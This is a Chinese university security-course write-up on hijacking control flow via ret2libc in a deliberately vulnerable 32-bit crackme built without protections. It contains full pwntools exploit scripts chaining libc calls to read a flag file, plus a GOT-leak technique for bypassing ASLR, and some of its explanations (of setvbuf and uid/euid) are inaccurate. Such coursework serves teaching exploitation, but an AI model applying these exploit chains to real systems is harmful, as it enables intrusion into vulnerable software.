华科信息系统安全作业: 利用ret2libc实现控制流劫持

一、目标程序分析

        main()函数分析

        要进行劫持的目标程序如下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)n");
  else
    printf("Invalid Password!n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

         主程序这里三段代码的功能都是进行简单的安全防护

setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);

        我们可以找到geteuid()setreuid()函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过程中的用户id,一般情况下来说两者是相等的,但由于程序运行过程中某些操作可能需要更高的特权级来进行,于是这时的uid就会临时变为更高权限的用户id,比如root

        所以这里的setreuid()将程序执行中的uid也设置为euid,为了避免特权级被非法的提升

getuid() :  函数返回一个调用程序的真实用户ID。表明当前运行位置程序的执行者。

geteuid(): 函数返回返回一个有效用户的ID。(EUID)是你最初执行程序时所用的ID,该ID

是程序的所有者。   

setreuid(uid_t ruid, uid_t euid)用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。

        setvbuf()函数的定义如下

int setvbuf(
   FILE *stream,
   char *buffer,
   int mode,
   size_t size
);

        是对stream流的缓冲区进行设置,在这里我们只需要关心其中的mode参数的含义,可以看到程序中使用的_IONBF是将缓冲区设置为无,这样的目的是可以部分防止缓冲区溢出漏洞

模式 描述
_IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。

        start()函数

        start()函数中我们要着重利用的只有三行

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

        buf的空间大小只有64,而read函数读入了256字节大小的数据,这样的结果是多出来的数据将覆盖栈空间,最终覆盖返回地址,而只要精心构造溢出来的部分数据,我们就可以使程序执行我们想要的命令

二、关闭ASLR

        在栈溢出时,我们想要知道栈溢出位置的具体地址,或者说是离基地址的距离,可以使用如下命令生成程序发生段错误时的core文件,core文件会记录发生错误时的内存、寄存器、栈信息等等,系统一般默认不生成core文件,我们用如下命令将core文件大小限制设置为无上限,这样每次发生段错误时都会生成一份core文件

ulimit -c unlimited 

        在安装pwntools后用cylic命令生成单一序列作为栈溢出的输入

        在编译目标程序时,注意编译选项,我们需要关闭栈保护、关闭NX,并且选择生成32位程序

gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack

        编译生成程序后,我们使用上面生成的单一序列作为输入运行程序

        用gdb调试core文件

gdb ./stack core

        看到此时EIP的值被序列中的taaa覆盖

        用cyclic -l命令查找taaa在序列中的位置为76,代表从buf基地址到返回位置的距离为76

        所以在构造我们的payload即输入的数据时,前76个字符可以任意输入, 76之后则需要填入我们需要程序运行的代码片段,这里我们的目标是让程序打开并输出/tmp/flag文件中的内容,先通过c语言写出对应代码

read(0,buf,9);      //从标准输入读取文件名
open(buf,0);        //只读形式打开文件
read(3,buf,10);     //从文件读取10个字符
//这里因为0 1 2三个文件描述符都被系统占用,所以新打开的文件描述符值一般为3
write(1,buf,10);    //将buf中的10个字符输出到标准输出

        关于多函数如何装入栈中以及为什么要加入pop-ret gadget可以参考多函数调用,以上四个函数以及其地址、参数在栈中大致是如下结构

address of READ
PPPR
0
address of BUF
9   (len("/tmp/flag")
address of OPEN
PPR
address of BUF
0
addess of READ
PPPR
3
address of BUF
10
address of WRITE
PPPR
1
address of BUF
10
address of EXIT 
0xdeadbeef   (标记)
0

        接下来的重点在于如何找到read、open、 write等等函数的地址,这里因为我们关闭了ASLR,所以可以通过pwntools提供的工具直接找到其地址

        比如用gdb进入调试以后,用p read命令可以查看read函数的绝对地址为0xf7d0ade0

         用readelf -a /usr/lib32/libc.so.6 | grep " read"命令查看read在LIBC中的相对地址,这里显示read的相对地址为0x0010ad90

        用read的绝对地址减去相对地址就得到了LIBC的基地址,再通过类似命令查询出open、write、exit函数的相对地址,加上基地址就得到了我们需要函数的地址

        然后是关于pop-ret gadget的地址获取,我们知道多函数调用时,一个函数有几个参数那么就需要几个pop来清空栈空间,所以至少需要知道pop-pop-ret、pop-pop-pop-ret两个gadget的地址,首先我们用ropper --file ./stack | grep "pop" | grep "ret"  命令来看目标程序中是否含有pop-ret的结构

        可以看到有一个pop ebx;ret;的地址为0x0804901e,但我们需要两次或三次pop来清空栈,所以这明显是不够的,继续在LIBC里寻找pop-ret结构;我们执行ropper --file /usr/lib32/libc.so.6 | grep "pop" | grep "ret"命令

         找到了pop-pop-ret 结构的地址为0x00189a5b,pop-pop-pop-ret的地址为0x00115832,由于这是在LIBC中的相对地址,在使用时还需要加上LIBC的基地址

        最后一步是找到一块可以写的内存区域BUF,在gdb调试过程中执行vmmap --w命令,可以显示出可写的区域(如果输入vmmap后无效,把程序运行到中间位置再vmmap)

        我们找到了一块在目标程序中的可写区域,一般为程序的data段,这里地址为0x804c000,我们将0x804c020作为BUF的地址(如果直接用0x804c000可能会有莫名其妙的问题)

        到此为止所有需要的地址已经全部获得了,下面是构造的脚本代码

from pwn import *
p = process("./stack")

LIBC = 0xf7c00050
READ = LIBC+0x10ad90
OPEN = LIBC+0x10a870
WRITE = LIBC+0x10ae50 
EXIT = LIBC+0x3bc40

PPPR = LIBC+0x00115832
PPR = LIBC+0x00189a5b
PR = 0x0804901e

payload = b'A' * 76
BUF = 0x804c020

#从标准流读入文件名到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)

#打开文件
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)


#读取文件内容到BUF
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)

#将文件内容输出到标准流
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(10)

#退出
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(2)

p.sendline(payload)
p.interactive()

 三、开启ASLR

        在开启ASLR后,LIBC的基地址将会变为随机,open、read、write、exit函数的地址将会随之变化,PPR与PPPR的地址是在LIBC库中获取的,所以也会动态改变,只有BUF的地址因为是在目标程序中获取的所以不会变化;重点在于如何动态的获取LIBC基地址

        实际上是通过PLT表GOT表实现对LIBC地址的获取,关于PLT、GOT表的原理这里不再赘述,只需要知道的是,一个函数比如read在GOT表中的内容将会指向read的真正地址,所以我们需要做的是利用栈溢出,装入puts函数与[email protected],利用程序将[email protected]指向的内容打印出来并接收,这样就获取到了read函数地址,同时read与LIBC相对地址是不变的,这样就得到了LIBC基地址,后续步骤与前面就再无二致了

        在gdb调试中用disass start反汇编start函数来找到puts以及read的plt

         

        但我们要的是[email protected]的值,所以继续用disass 0x8049050找到[email protected]的值

        最后用disass main找到main函数的首地址就可以构造第一次payload

MAIN=0X804926b
num=76

payload_1 =b'A' * num
 
puts_plt=0x8049080
read_got=0x804c008

#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)

#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)

p.sendline(payload_1)

#让程序在start函数最后!n停止
p.recvuntil("!n")

#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")

        到此我们就获取到了read函数的地址,即代表着LIBC地址也获取到了,后面则直接重复关闭ASLR时的脚本步骤,直接上完整代码(这里忘了写PR、PPR、PPPR的地址了,可以自行添加)

from pwn import *
p = process("./stack_aslr")

MAIN=0X804926b
BUF=0X804C020
num=76

payload = b'A' * num
payload_1 = b'A' * num
 
puts_plt=0x8049080
read_got=0x804c008

#让程序puts打印出read地址
payload_1 += p32(puts_plt)
payload_1 += p32(PR)
payload_1 += p32(read_got)

#装入main地址,让程序执行第二次
payload_1 += p32(MAIN)

p.sendline(payload_1)

#让程序在start函数最后!n停止
p.recvuntil("!n")

#接收四个字节,即read地址
PUTS=p.recv(4)
READ=int.from_bytes(PUTS,"little")
LIBC = READ - 0x10ad90

OPEN=0x10a870+LIBC
WRITE=0x10ae50+LIBC
EXIT=0x3bc40+LIBC

#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
 
#open
payload += p32(OPEN)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)
 
#read
payload += p32(READ)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)
 
#write
payload += p32(WRITE)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(5)
 
#exit
payload += p32(EXIT)
payload += p32(0xdeadbeef)
payload += p32(1)
 
p.sendline(payload)
p.interactive()

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>